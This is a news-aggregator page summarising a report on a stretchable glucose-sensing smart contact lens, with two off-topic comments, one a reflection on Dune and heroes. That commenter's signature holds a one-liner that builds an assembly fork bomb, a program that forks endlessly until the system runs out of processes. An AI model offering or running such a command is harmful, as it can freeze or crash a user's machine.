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Scientists Develop Glucose-Tracking Smart Contact Lenses Comfortable Enough To Wear (engadget.com)

A team of Korean scientists have developed a smart lens that could help diabetics track blood glucose levels while remaining stretchable enough to be comfortable and transparent enough to preserve vision. Engadget reports: The lens achieves its flexibility thanks to a design that puts its electronics into isolated pockets linked by stretchable conductors. There's also an elastic material in between that spreads the strain to prevent the electronics from breaking when you pinch the lens. And when the refractive indices all line up, you should get a lens that's as transparent as possible and largely stays out of your way. The sensor in question is straightforward: an LED light stays on as long as glucose levels are normal, and shuts off when something's wrong. Power comes through a metal nanofiber antenna that draws from a nearby power source coil. That's about the only major drawback -- the low conductivity of the antenna means that you can't just tuck the coil wherever it's convenient. The co-author of the study, Jang-Ung Park, told IEEE Spectrum that a commercial version of the contact lens should arrive within the next five years.

2 of 35 comments (clear)

  1. Re:Beware the SECRET SOCIETY that permeates by Hal_Porter · · Score: -1, Offtopic

    There's a memorably nasty moment in Dune where Tleilaxu agents use a stone burner to blind Paul Atreides and a lot of other people. Paul offers to buy Tleilaxu metal eyes for his men but both he and them worry the Tleilaxu eyes might affect their perception in devious ways.

    http://www.readsbird.com/dune-...

    "They've fled Arrakis with the stolen worm," Paul said. "Even if I freed you now, Korba, Shai-hulud would have your water for your part in this. Why don't I free you, Korba? Think of all those men whose eyes were taken, the men who cannot see as I see. They have families and friends, Korba. Where could you hide from them?"

    "It was an accident," Korba pleaded. "Anyway, they're getting Tleilaxu ..." Again, he subsided.

    "Who knows what bondage goes with metal eyes?" Paul asked.

    The interesting thing about Dune is that the protagonist is a Messiah like character who plunges the galaxy into a hellish holy war. Meanwhile the antagonists are corrupt political types with access to advanced technology like AI which the more religious parts of the galaxy have banned following the 'Butlerian Jihad'.

    The similarity between Paul and someone like Bin Laden or Abu Bakr al-Baghdadi is kind of obvious now, even though Dune and Dune Messiah were written back in the 60's. Paul's holy warriors are even called Fedaykin, a mutation of the Arabic word Fedayeen. Saddam set up the Fedayeen Saddam which arguably mutated into ISIS.

    I.e. when you read it now you kind of sympathize with the devious Bene Gesserit, Tleilaxu and Ixians who attempt to tame or destroy Paul and stop his jihad from destroying their civilisation. Then again Frank Herbert wanted to deconstruct the idea of infallible heroes.

    https://en.wikipedia.org/wiki/...

    "The bottom line of the Dune trilogy is: beware of heroes. Much better [to] rely on your own judgment, and your own mistakes." He wrote in 1985, "Dune was aimed at this whole idea of the infallible leader because my view of history says that mistakes made by a leader (or made in a leader's name) are amplified by the numbers who follow without question."

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Re:How about by Aighearach · · Score: -1, Offtopic

    I can counts to 2? I can haz cheeseburger?